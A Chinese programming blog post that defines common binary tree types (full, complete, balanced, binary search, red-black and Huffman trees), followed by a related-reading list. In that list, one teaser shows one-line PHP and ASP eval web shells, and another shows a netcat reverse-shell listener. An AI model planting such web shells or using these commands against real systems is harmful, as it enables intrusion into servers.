一句话弄懂常见二叉树类型

比眉伴天荒 2022-05-23 11:39 141阅读 0赞

## 满二叉树 ##

除最后一层无任何子节点外，每一层上的所有结点都有两个子结点二叉树。   
![这里写图片描述][20161122145133401]

## 完全二叉树 ##

一棵二叉树至多只有最下面的一层上的结点的度数可以小于2，并且最下层上的结点都集中在该层最左边的若干位置上，则此二叉树成为完全二叉树。   
![这里写图片描述][20161122144913012]

## 平衡二叉树 ##

它是一 棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树   
![这里写图片描述][20161122144924461]

## 二叉搜索树 ##

它或者是一棵空树，或者是具有下列性质的二叉树： 若它的左子树不空，则左子树上所有结点的值均小于它的根结点的值； 若它的右子树不空，则右子树上所有结点的值均大于它的根结点的值； 它的左、右子树也分别为二叉排序树   
![这里写图片描述][20161122144933731]

## 红黑树 ##

平衡二叉搜索树   
![这里写图片描述][SouthEast]

## 哈弗曼树 ##

给定n个权值作为n个叶子结点，构造一棵二叉树，若带权路径长度达到最小，称这样的二叉树为最优二叉树，也称为哈夫曼树(Huffman Tree)。哈夫曼树是带权路径长度最短的树，权值较大的结点离根较近。   
![这里写图片描述][20161122153414436]

版权声明：本文为博主许佳佳原创文章，转载请务必注明出处。 https://blog.csdn.net/Double2hao/article/details/53286038

[20161122145133401]: /images/20220523/f7cc58b12b804364b31fff7bd46e92b5.png
[20161122144913012]: /images/20220523/5ce04a78a0804ed6bfd51b12fe7e6067.png
[20161122144924461]: /images/20220523/7c6aa872d6fb41bda0455d0eeca0146c.png
[20161122144933731]: /images/20220523/d4bb75f43f114f8f95d982f364f6fd05.png
[SouthEast]: /images/20220523/e3a6666aece54f77ad33cb6f808f1f6e.png
[20161122153414436]: /images/20220523/0a34f408df524beab6e4c3930faf4719.png

发表评论取消回复

表情：

评论列表（有 0 条评论，141人围观）

还没有评论，来说两句吧...

相关阅读

相关一文带你读懂二叉树

引言原文链接：[一文带你读懂二叉树][Link 1] 希望点进去的小伙伴关注一下我的公众号哟，文末有二维码，谢谢！ 1、二叉树的基本概念二叉树定义

本是古典何须时尚/ 2022年12月29日 14:24/ 0 赞/ 337 阅读

相关一句话理解yield

简要理解：yield就是 return 返回一个值，并且记住这个返回的位置，下次迭代就从这个位置后开始。（可以理解为程序终止，之后下一次用next，程序修复好，冲这个位置继续执

落日映苍穹つ/ 2022年11月15日 15:36/ 0 赞/ 297 阅读

相关同事的一句话

今天路上我问：有没有办法一个电脑弄到3个IP,在不开虚拟机的情况下，但是我也不想另外新买一台电脑。讨论到最后。。。听到同事的一句话，一直都记得：

谁践踏了优雅/ 2022年11月10日 14:25/ 0 赞/ 351 阅读

相关一句话Linux（备查）

来自: SUN中国工程研究院编者按：鉴于目前中国Linux的发展现状，90%以上的问题都可以用一句话来回答，这便是本文的初衷。欢迎大家添加自己的“一句话”，收录后注明原始

清疚/ 2022年09月30日 14:48/ 0 赞/ 649 阅读

相关一句话弄懂常见二叉树类型

满二叉树除最后一层无任何子节点外，每一层上的所有结点都有两个子结点二叉树。 ![这里写图片描述][20161122145133401] 完全二叉树一棵二

比眉伴天荒/ 2022年05月23日 11:39/ 0 赞/ 142 阅读

相关一文弄懂二叉树三种遍历

CSDN 2019-01-30 15:27:48 ![一文弄懂二叉树三种遍历][18604a3db02b49b9ad7f9a936d42e2c7] > 作者 | 菠了

╰半橙微兮°/ 2022年02月28日 23:46/ 0 赞/ 232 阅读

相关一句话

PHP: <?php @eval($_POST['pass']);?> ASP: <%eval request("pass")%> .NET: <%@ Page Lan

我不是女神ヾ/ 2022年01月08日 02:35/ 0 赞/ 433 阅读

相关一句话搞懂: 高并发

【请尊重原创，转载请标明出处。。。。。。】【更多资讯及资料获取，关注微信公众号号：浅醉JAVA】首先了解：多线程和并发之间是怎么一种关系？高并发是多线程执

阳光穿透心脏的1/2处/ 2021年09月23日 00:02/ 0 赞/ 337 阅读

相关一句话反弹shell

1.bash反弹攻击机监听端口 netcat: nc -nvlp 4444 \-n: 不反向解析dns，即不通过ip解析域名 no dns \-v:

偏执的太偏执、/ 2021年07月28日 11:50/ 0 赞/ 697 阅读

相关一单词，一句话

Absolutely!—— 绝对正确! Adorable! —— 可爱极了! Amazing! —— 太神了! Anytime! —— 随时吩咐! Almost

旧城等待，/ 2021年06月26日 16:06/ 0 赞/ 550 阅读